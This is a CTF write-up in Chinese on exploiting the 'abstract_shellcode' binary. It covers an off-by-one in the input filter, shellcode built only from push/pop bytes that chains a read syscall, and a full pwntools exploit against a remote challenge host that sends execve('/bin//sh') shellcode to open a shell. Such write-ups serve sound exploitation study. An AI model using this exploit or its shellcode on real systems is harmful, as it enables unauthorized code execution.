abstract_shellcode

checksec一下

1
2
3
4
5
6
7
8
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments

IDA一下

main函数要求我们输入两个字符,如果是”ye”就退出

2023-11-30_19-07-06

进func看看,大概分为两个部分

第一部分是一个循环,每次输入一字节,跳出条件为 (s-buf)>16,即输入17个字符(划重点)

2023-11-30_19-01-04

第二部分,判断输入的字符是否在4E和5F之间,如果全部符合就call rax,也就是执行这段输入的shellcode

2023-11-30_19-02-32

重点来了,前面发现可以输入17个字符,但检测只检测16个字符,这里就有一个小漏洞了

进gdb调试,断在call rax处

2023-11-30_19-20-37

分析栈结构发现

rsp +8 刚好是第一次输入的字符的地址而前面输入则是不为”ye”的两个字符

分析下寄存器

2023-11-30_19-23-43

找找用得上的东西

分析完后就是构造shellcode了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:  4e                      rex.WRX
1: 4f 50 rex.WRXB push r8
3: 50 push rax
4: 51 push rcx
5: 52 push rdx
6: 53 push rbx
7: 54 push rsp
8: 55 push rbp
9: 56 push rsi
a: 57 push rdi
b: 58 pop rax
c: 59 pop rcx
d: 5a pop rdx
e: 5b pop rbx
f: 5c pop rsp
10: 5d pop rbp
11: 5e pop rsi

通过机器码转汇编可以发现限制的shellcode都是push和pop

而第十七个字符刚好不受限制,诶,刚好构建一个ret

1
0:  c3                      ret

ret去哪呢

诶,第一次输入刚好是俩字符,诶

1
0:  0f 05                   syscall

syscall也是俩俩字节

思路已经很明显了

1、通过shellcode操作寄存器和栈,以达到syscall->read

1
2
3
4
rax = 0x0
rdi = 0x0
rsi = 某处地址(位于第一次输入之后,执行完后滑到这继续执行)
rdx = 长度(我选的是r11中的0x246

2、构造shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:  58                      pop    rax
1: 58 pop rax
2: 5b pop rbx
3: 53 push rbx
4: 5e pop rsi
5: 4f 53 rex.WRXB push r11
7: 5a pop rdx
8: 50 push rax
9: 5f pop rdi
a: 50 push rax
b: 5f pop rdi
c: 50 push rax
d: 5f pop rdi
e: 50 push rax
f: 53 push rbx
10: c3 ret

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

k = 1
if k:
p = remote('43.249.195.138','22251')
else:
p = process('./abstractshellcode')
elf = ELF('./abstractshellcode')
libc = ELF('./libc-2.31.so')
# gdb.attach(p,'b *$rebase(0x14a6)')

p.recvuntil(b'input:(ye / no)', b'\n')
p.send(b'\x0f\x05')
p.recvuntil(b'---input your pop code---', b'\n')

shellcode = b'\x90\x90\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

p.send(b'\x58\x58\x5b\x53\x5e\x4f\x53\x5a\x50\x5f\x50\x5f\x50\x5f\x50\x53\xc3')

p.send(shellcode)

p.interactive()

Over